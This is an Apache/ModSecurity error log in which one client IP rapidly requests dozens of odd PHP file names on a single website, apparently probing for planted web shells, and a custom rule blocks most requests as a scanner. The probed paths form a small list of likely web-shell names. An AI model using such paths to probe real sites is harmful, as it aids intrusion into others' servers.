[Sat Apr 18 23:26:41.369008 2026] [:error] [pid 34288:tid 34294] [client 20.203.141.81:40457] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/BhqKs28Cw94.php"] [unique_id "aeOiseTIiy__PtiLmpng6gAAAYI"]
[Sat Apr 18 23:26:42.068395 2026] [:error] [pid 34290:tid 34329] [client 20.203.141.81:63694] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeOishqX6WpmmAXOBi8wHQAAAco"]
[Sat Apr 18 23:26:42.634504 2026] [:error] [pid 32647:tid 32653] [client 20.203.141.81:32821] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeOiskkxooM0iRo6e542FQAAAgM"]
[Sat Apr 18 23:26:43.251859 2026] [:error] [pid 32647:tid 32673] [client 20.203.141.81:61812] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeOis0kxooM0iRo6e542FgAAAhc"]
[Sat Apr 18 23:26:44.115551 2026] [:error] [pid 32678:tid 32725] [client 20.203.141.81:7888] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/beerd.php"] [unique_id "aeOitBUlAXU_ZWUu5y8ZxwAAApI"]
[Sat Apr 18 23:26:44.627050 2026] [:error] [pid 9865:tid 9943] [client 20.203.141.81:56971] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeOitKzb5knECIY-C-is3QAAAIY"]
[Sat Apr 18 23:26:45.313209 2026] [:error] [pid 9865:tid 9954] [client 20.203.141.81:8145] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeOitazb5knECIY-C-is3wAAAJE"]
[Sat Apr 18 23:26:45.972552 2026] [:error] [pid 9865:tid 9946] [client 20.203.141.81:64235] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeOitazb5knECIY-C-is4wAAAIk"]
[Sat Apr 18 23:26:47.059597 2026] [:error] [pid 32677:tid 32683] [client 20.203.141.81:61790] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/3Cr1w6dfjTK.php"] [unique_id "aeOitxngmUE3LdC-wP72uAAAAkM"]
[Sat Apr 18 23:26:47.619498 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:61799] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpb.php"] [unique_id "aeOitxngmUE3LdC-wP72uQAAAkQ"]
[Sat Apr 18 23:26:48.294566 2026] [:error] [pid 32677:tid 32680] [client 20.203.141.81:63696] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpb.php"] [unique_id "aeOiuBngmUE3LdC-wP72ugAAAkA"]
[Sat Apr 18 23:26:49.348847 2026] [:error] [pid 32647:tid 32670] [client 20.203.141.81:56972] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpb.php"] [unique_id "aeOiuUkxooM0iRo6e542GwAAAhQ"]
[Sat Apr 18 23:26:50.076353 2026] [:error] [pid 9865:tid 9950] [client 20.203.141.81:39893] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wpb.php"] [unique_id "aeOiuqzb5knECIY-C-is6QAAAI0"]
[Sat Apr 18 23:26:50.715029 2026] [:error] [pid 9865:tid 9957] [client 20.203.141.81:30980] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "aeOiuqzb5knECIY-C-is7AAAAJQ"]
[Sat Apr 18 23:26:51.336048 2026] [:error] [pid 9865:tid 9937] [client 20.203.141.81:7879] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "aeOiu6zb5knECIY-C-is7wAAAIA"]
[Sat Apr 18 23:26:52.574776 2026] [:error] [pid 13023:tid 13039] [client 20.203.141.81:54840] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "aeOivP1e7hG8DAeABB9N0QAAAQ4"]
[Sat Apr 18 23:26:53.322711 2026] [:error] [pid 13023:tid 13048] [client 20.203.141.81:61808] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/oircv.php"] [unique_id "aeOivf1e7hG8DAeABB9N0wAAARc"]
[Sat Apr 18 23:26:53.910809 2026] [:error] [pid 32677:tid 32696] [client 20.203.141.81:7874] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeOivRngmUE3LdC-wP72vwAAAlA"]
[Sat Apr 18 23:26:54.684185 2026] [:error] [pid 13023:tid 13035] [client 20.203.141.81:7910] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeOivv1e7hG8DAeABB9N2QAAAQo"]
[Sat Apr 18 23:26:55.246947 2026] [:error] [pid 9865:tid 9957] [client 20.203.141.81:37944] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeOiv6zb5knECIY-C-is-AAAAJQ"]
[Sat Apr 18 23:26:56.001791 2026] [:error] [pid 9970:tid 9989] [client 20.203.141.81:61782] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeOiwCYdRLRhVmaIMx3xPgAAAM8"]
[Sat Apr 18 23:26:56.733181 2026] [:error] [pid 34288:tid 34305] [client 20.203.141.81:40495] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeOiwOTIiy__PtiLmpng7gAAAY0"]
[Sat Apr 18 23:26:57.452401 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:7877] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeOiwSYdRLRhVmaIMx3xQwAAAM4"]
[Sat Apr 18 23:26:58.243035 2026] [:error] [pid 34288:tid 34293] [client 20.203.141.81:37921] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeOiwuTIiy__PtiLmpng8gAAAYE"]
[Sat Apr 18 23:26:58.772967 2026] [:error] [pid 13023:tid 13025] [client 20.203.141.81:56974] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeOiwv1e7hG8DAeABB9N3gAAAQA"]
[Sat Apr 18 23:26:59.744926 2026] [:error] [pid 13023:tid 13036] [client 20.203.141.81:37923] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeOiw_1e7hG8DAeABB9N4gAAAQs"]
[Sat Apr 18 23:27:00.377697 2026] [:error] [pid 13023:tid 13031] [client 20.203.141.81:40487] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeOixP1e7hG8DAeABB9N5gAAAQY"]
[Sat Apr 18 23:27:01.188956 2026] [:error] [pid 13023:tid 13029] [client 20.203.141.81:58497] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeOixf1e7hG8DAeABB9N6gAAAQQ"]
[Sat Apr 18 23:27:02.321343 2026] [:error] [pid 32678:tid 32715] [client 20.203.141.81:40468] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/albrt.php"] [unique_id "aeOixhUlAXU_ZWUu5y8ZywAAAog"]
[Sat Apr 18 23:27:03.028936 2026] [:error] [pid 32678:tid 32720] [client 20.203.141.81:30985] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeOixxUlAXU_ZWUu5y8ZzAAAAo0"]
[Sat Apr 18 23:27:03.609155 2026] [:error] [pid 9970:tid 9988] [client 20.203.141.81:58549] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeOixyYdRLRhVmaIMx3xSQAAAM4"]
[Sat Apr 18 23:27:04.203184 2026] [:error] [pid 9970:tid 9991] [client 20.203.141.81:54846] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeOiyCYdRLRhVmaIMx3xSwAAANE"]
[Sat Apr 18 23:27:04.721960 2026] [:error] [pid 32677:tid 32693] [client 20.203.141.81:40450] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hhxc.php"] [unique_id "aeOiyBngmUE3LdC-wP72wgAAAk0"]
[Sat Apr 18 23:27:05.268807 2026] [:error] [pid 32677:tid 32684] [client 20.203.141.81:64247] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeOiyRngmUE3LdC-wP72wwAAAkQ"]
[Sat Apr 18 23:27:05.980788 2026] [:error] [pid 9863:tid 9886] [client 20.203.141.81:64226] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeOiyTjjiypiFrTucbLcggAAAA0"]
[Sat Apr 18 23:27:06.537477 2026] [:error] [pid 32678:tid 32713] [client 20.203.141.81:37890] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/9EaklzMysJ.php"] [unique_id "aeOiyhUlAXU_ZWUu5y8Z0wAAAoY"]
[Sat Apr 18 23:27:07.247856 2026] [proxy_fcgi:error] [pid 9863:tid 9880] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:07.536411 2026] [proxy_fcgi:error] [pid 9863:tid 9896] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:07.870531 2026] [proxy_fcgi:error] [pid 9863:tid 9874] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:08.131583 2026] [proxy_fcgi:error] [pid 9863:tid 9888] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:08.425804 2026] [proxy_fcgi:error] [pid 9863:tid 9891] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:08.940136 2026] [proxy_fcgi:error] [pid 9863:tid 9895] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:09.243228 2026] [proxy_fcgi:error] [pid 9863:tid 9881] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:09.504748 2026] [proxy_fcgi:error] [pid 9863:tid 9892] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:09.789163 2026] [proxy_fcgi:error] [pid 9863:tid 9877] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:10.188515 2026] [proxy_fcgi:error] [pid 9863:tid 9890] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:10.428190 2026] [proxy_fcgi:error] [pid 9863:tid 9893] [client 20.203.141.81:32255] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 23:27:10.718073 2026] [:error] [pid 9863:tid 9885] [client 20.203.141.81:32255] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wkogn.php"] [unique_id "aeOizjjjiypiFrTucbLckgAAAAw"]
[Sat Apr 18 23:27:15.189674 2026] [:error] [pid 9865:tid 9953] [client 20.203.141.81:64204] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wkogn.php"] [unique_id "aeOi06zb5knECIY-C-itCQAAAJA"]
[Sat Apr 18 23:27:17.801790 2026] [:error] [pid 13023:tid 13045] [client 20.203.141.81:37888] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wkogn.php"] [unique_id "aeOi1f1e7hG8DAeABB9N9AAAARQ"]
[Sat Apr 18 23:27:26.124029 2026] [:error] [pid 9865:tid 9946] [client 20.203.141.81:7916] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wkogn.php"] [unique_id "aeOi3qzb5knECIY-C-itFgAAAIk"]
[Sat Apr 18 23:27:36.639128 2026] [:error] [pid 9970:tid 9981] [client 20.203.141.81:57019] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wwdgl.php"] [unique_id "aeOi6CYdRLRhVmaIMx3xcgAAAMc"]
[Sat Apr 18 23:27:50.104688 2026] [:error] [pid 32647:tid 32674] [client 20.203.141.81:7933] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeOi9kkxooM0iRo6e542OwAAAhg"]
[Sat Apr 18 23:27:51.681052 2026] [:error] [pid 34288:tid 34294] [client 20.203.141.81:8136] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeOi9-TIiy__PtiLmpng_gAAAYI"]
[Sat Apr 18 23:27:52.654038 2026] [:error] [pid 9865:tid 9941] [client 20.203.141.81:61780] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeOi-Kzb5knECIY-C-itKwAAAIQ"]
[Sat Apr 18 23:27:53.566842 2026] [:error] [pid 9865:tid 9959] [client 20.203.141.81:32830] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wxeyc.php"] [unique_id "aeOi-azb5knECIY-C-itLQAAAJY"]
[Sat Apr 18 23:27:55.015555 2026] [:error] [pid 32678:tid 32719] [client 20.203.141.81:54842] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeOi-xUlAXU_ZWUu5y8Z8AAAAow"]
[Sat Apr 18 23:27:56.085032 2026] [:error] [pid 13023:tid 13041] [client 20.203.141.81:30387] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeOi_P1e7hG8DAeABB9OJwAAARA"]
[Sat Apr 18 23:27:56.641867 2026] [:error] [pid 13023:tid 13036] [client 20.203.141.81:32202] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeOi_P1e7hG8DAeABB9OKQAAAQs"]
[Sat Apr 18 23:27:57.355763 2026] [:error] [pid 9863:tid 9883] [client 20.203.141.81:64244] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "aeOi_TjjiypiFrTucbLcnwAAAAo"]
[Sat Apr 18 23:27:58.565327 2026] [:error] [pid 32677:tid 32690] [client 20.203.141.81:56970] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeOi_hngmUE3LdC-wP723wAAAko"]
[Sat Apr 18 23:27:59.365731 2026] [:error] [pid 32677:tid 32702] [client 20.203.141.81:40501] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeOi_xngmUE3LdC-wP724AAAAlY"]
[Sat Apr 18 23:28:00.198207 2026] [:error] [pid 13023:tid 13029] [client 20.203.141.81:57018] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeOjAP1e7hG8DAeABB9OMgAAAQQ"]
[Sat Apr 18 23:28:00.801347 2026] [:error] [pid 13023:tid 13044] [client 20.203.141.81:41205] [client 20.203.141.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeOjAP1e7hG8DAeABB9ONQAAARM"]
